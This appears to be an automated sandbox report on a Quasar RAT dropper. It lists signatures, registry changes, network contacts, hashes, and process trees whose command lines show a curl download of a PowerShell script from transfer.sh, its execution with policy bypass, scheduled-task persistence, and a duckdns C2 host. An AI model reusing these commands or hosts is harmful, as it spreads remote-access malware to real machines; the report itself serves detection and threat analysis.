Analysis Overview
SHA256
3459ebc48502fb42337647d456681337d303e50a99ca536e010d7cf1ebf6f0f5
Threat Level: Known bad
The file 3459ebc48502fb42337647d456681337d303e50a99ca536e010d7cf1ebf6f0f5.danger was found to be: Known bad.
Malicious Activity Summary
Quasar RAT
Quasar payload
Checks computer location settings
Adds Run key to start application
Looks up external IP address via web service
Suspicious use of SetThreadContext
Enumerates physical storage devices
Creates scheduled task(s)
Modifies registry class
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: EnumeratesProcesses
Runs ping.exe
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2023-01-17 12:09
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2023-01-17 12:09
Reported
2023-01-17 12:11
Platform
win7-20220812-en
Max time kernel
50s
Max time network
47s
Command Line
Signatures
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\3459ebc48502fb42337647d456681337d303e50a99ca536e010d7cf1ebf6f0f5.exe | N/A |
| Key created | \REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce | C:\Users\Admin\AppData\Local\Temp\3459ebc48502fb42337647d456681337d303e50a99ca536e010d7cf1ebf6f0f5.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\3459ebc48502fb42337647d456681337d303e50a99ca536e010d7cf1ebf6f0f5.exe
"C:\Users\Admin\AppData\Local\Temp\3459ebc48502fb42337647d456681337d303e50a99ca536e010d7cf1ebf6f0f5.exe"
C:\Windows\system32\cmd.exe
cmd /c new.vbs
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\new.vbs"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c cmd.exe /c curl https://transfer.sh/get/MHXbtP/ss.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1
C:\Windows\system32\cmd.exe
cmd.exe /c curl https://transfer.sh/get/MHXbtP/ss.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
C:\Windows\system32\cmd.exe
cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
Network
Files
memory/1664-54-0x000007FEFB591000-0x000007FEFB593000-memory.dmp
memory/1628-55-0x0000000000000000-mapping.dmp
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\new.vbs
| MD5 | f7e7099eea0cc25fc49d04cd53c573a1 |
| SHA1 | 3abac9f3f93b0f87ef432d70c40e8ab865157770 |
| SHA256 | b7f331e83a80b15cc4537324bde827ac9b2ecb990150db4d00d84ee2560cf5be |
| SHA512 | c19ddc5e41ed6d485f5df47996f34ff326a782e909bffaa8aa31a3f72fddb33cc7e3709e0cc44b2078668dc83297b42bb3157d6d000a9323ffca6303cd43f074 |
memory/1824-84-0x0000000000000000-mapping.dmp
memory/932-89-0x0000000000000000-mapping.dmp
memory/376-90-0x0000000000000000-mapping.dmp
memory/552-91-0x0000000000000000-mapping.dmp
memory/548-92-0x0000000000000000-mapping.dmp
memory/1480-93-0x0000000000000000-mapping.dmp
memory/1480-95-0x000007FEF3B40000-0x000007FEF4563000-memory.dmp
memory/1480-96-0x0000000002754000-0x0000000002757000-memory.dmp
memory/1480-97-0x000007FEF2FE0000-0x000007FEF3B3D000-memory.dmp
memory/1480-98-0x000000001B700000-0x000000001B9FF000-memory.dmp
memory/1480-99-0x0000000002754000-0x0000000002757000-memory.dmp
memory/1480-100-0x000000000275B000-0x000000000277A000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2023-01-17 12:09
Reported
2023-01-17 12:11
Platform
win10v2004-20220901-en
Max time kernel
142s
Max time network
148s
Command Line
Signatures
Quasar RAT
Quasar payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation | C:\Windows\SYSTEM32\cmd.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce | C:\Users\Admin\AppData\Local\Temp\3459ebc48502fb42337647d456681337d303e50a99ca536e010d7cf1ebf6f0f5.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\3459ebc48502fb42337647d456681337d303e50a99ca536e010d7cf1ebf6f0f5.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | api.ipify.org | N/A | N/A |
| N/A | api.ipify.org | N/A | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 2908 set thread context of 1036 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe |
Enumerates physical storage devices
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings | C:\Windows\SYSTEM32\cmd.exe | N/A |
Runs ping.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\PING.EXE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\PING.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\3459ebc48502fb42337647d456681337d303e50a99ca536e010d7cf1ebf6f0f5.exe
"C:\Users\Admin\AppData\Local\Temp\3459ebc48502fb42337647d456681337d303e50a99ca536e010d7cf1ebf6f0f5.exe"
C:\Windows\SYSTEM32\cmd.exe
cmd /c new.vbs
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\new.vbs"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c cmd.exe /c curl https://transfer.sh/get/MHXbtP/ss.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1
C:\Windows\system32\cmd.exe
cmd.exe /c curl https://transfer.sh/get/MHXbtP/ss.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1
C:\Windows\system32\curl.exe
curl https://transfer.sh/get/MHXbtP/ss.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
C:\Windows\system32\cmd.exe
cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "Update" /sc ONLOGON /tr "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" /rl HIGHEST /f
C:\Windows\SysWOW64\schtasks.exe
"schtasks" /delete /tn "Update" /f
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\rCEkh1Y6WTMO.bat" "
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\kIlVXpK1D0ai.bat" "
C:\Windows\SysWOW64\chcp.com
chcp 65001
C:\Windows\SysWOW64\PING.EXE
ping -n 10 localhost
C:\Windows\SysWOW64\chcp.com
chcp 65001
C:\Windows\SysWOW64\PING.EXE
ping -n 10 localhost
Network
| Country | Destination | Domain | Proto |
| N/A | 93.184.220.29:80 | tcp | |
| N/A | 8.8.8.8:53 | transfer.sh | udp |
| N/A | 2.18.109.224:443 | tcp | |
| N/A | 144.76.136.153:443 | transfer.sh | tcp |
| N/A | 20.50.80.209:443 | tcp | |
| N/A | 8.8.8.8:53 | ghcc.duckdns.org | udp |
| N/A | 95.216.102.32:4782 | ghcc.duckdns.org | tcp |
| N/A | 8.8.8.8:53 | tools.keycdn.com | udp |
| N/A | 185.172.148.96:443 | tools.keycdn.com | tcp |
| N/A | 8.8.8.8:53 | api.ipify.org | udp |
| N/A | 64.185.227.155:443 | api.ipify.org | tcp |
Files
memory/5072-132-0x0000000000000000-mapping.dmp
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\new.vbs
| MD5 | f7e7099eea0cc25fc49d04cd53c573a1 |
| SHA1 | 3abac9f3f93b0f87ef432d70c40e8ab865157770 |
| SHA256 | b7f331e83a80b15cc4537324bde827ac9b2ecb990150db4d00d84ee2560cf5be |
| SHA512 | c19ddc5e41ed6d485f5df47996f34ff326a782e909bffaa8aa31a3f72fddb33cc7e3709e0cc44b2078668dc83297b42bb3157d6d000a9323ffca6303cd43f074 |
memory/1876-134-0x0000000000000000-mapping.dmp
memory/1276-135-0x0000000000000000-mapping.dmp
memory/2316-136-0x0000000000000000-mapping.dmp
memory/3212-137-0x0000000000000000-mapping.dmp
memory/2520-138-0x0000000000000000-mapping.dmp
memory/2984-139-0x0000000000000000-mapping.dmp
memory/2908-140-0x0000000000000000-mapping.dmp
memory/2908-141-0x00000257BE4D0000-0x00000257BE4F2000-memory.dmp
memory/2908-142-0x00007FF8F8500000-0x00007FF8F8FC1000-memory.dmp
C:\Users\Admin\AppData\Roaming\rr.ps1
| MD5 | 970aca768e68faa580f758a1a379686b |
| SHA1 | 6a93921485cbd83382eb5a47315b1f0a67bcf684 |
| SHA256 | 6c1e62385d660ca43e024d461154fbb4805e429cdf7850d19510d7f69533739e |
| SHA512 | 66dd4c5b17978e68c8e0cd2bc4fd35ba5d519447ff34259ec77d11e4253cbfc9955a43915ed3c343f41dc04d97f4302ab6922a823b0e0da44e8893d29ec7cf0f |
memory/1036-145-0x000000000047E74E-mapping.dmp
memory/2908-146-0x00007FF8F8500000-0x00007FF8F8FC1000-memory.dmp
memory/1036-147-0x0000000000420000-0x00000000004A4000-memory.dmp
memory/1036-148-0x00000000050E0000-0x0000000005684000-memory.dmp
memory/1036-149-0x0000000004B30000-0x0000000004BC2000-memory.dmp
memory/1036-150-0x0000000004AA0000-0x0000000004AAA000-memory.dmp
memory/4808-151-0x0000000000000000-mapping.dmp
memory/1036-152-0x00000000060B0000-0x00000000066C8000-memory.dmp
memory/1036-153-0x0000000005B70000-0x0000000005BC0000-memory.dmp
memory/1036-154-0x0000000005DE0000-0x0000000005E92000-memory.dmp
memory/1036-155-0x0000000006E80000-0x0000000006EE6000-memory.dmp
memory/1432-156-0x0000000000000000-mapping.dmp
memory/1468-157-0x0000000000000000-mapping.dmp
memory/2548-160-0x0000000000000000-mapping.dmp
C:\Users\Admin\AppData\Local\Temp\rCEkh1Y6WTMO.bat
| MD5 | 7f70ecb56188446e6d3751466716488a |
| SHA1 | 0ba7085341815042b9d7a068e6efc72e8639d4a9 |
| SHA256 | 6a1e32966cdcef207ec3ccc69a9d783a0f012318a1324586df1efa39a44a5bcb |
| SHA512 | dc4e19d279ccf6722baa0abaea198532c1fb1e05c8a8c3f28f377b786f373e1213dd37cdbccec63a9841c300bcc57f5ebbb4f9baa86c56e1e32c11c3de3a6765 |
memory/2528-158-0x0000000000000000-mapping.dmp
memory/4664-161-0x0000000000000000-mapping.dmp
memory/2216-163-0x0000000000000000-mapping.dmp
C:\Users\Admin\AppData\Local\Temp\kIlVXpK1D0ai.bat
| MD5 | b6afb90a8a7c17da7d70ef458298f9e8 |
| SHA1 | b6b540cc5b831a0e97e1184384b6b2457714e4cb |
| SHA256 | 20fa791af80f5c045d6bfe8ab326c886d5d5ef80a0ee40e3cfc13cce64b8f52e |
| SHA512 | 7505ddec046acf90b9f56dca707ac5a443d179382ff00c7c4721f3f2039f3c4dc714db0f511ad85ee31a8f1aa97ebe0e4409b7fdf1050d236b868bfbaabd86d1 |
memory/2000-164-0x0000000000000000-mapping.dmp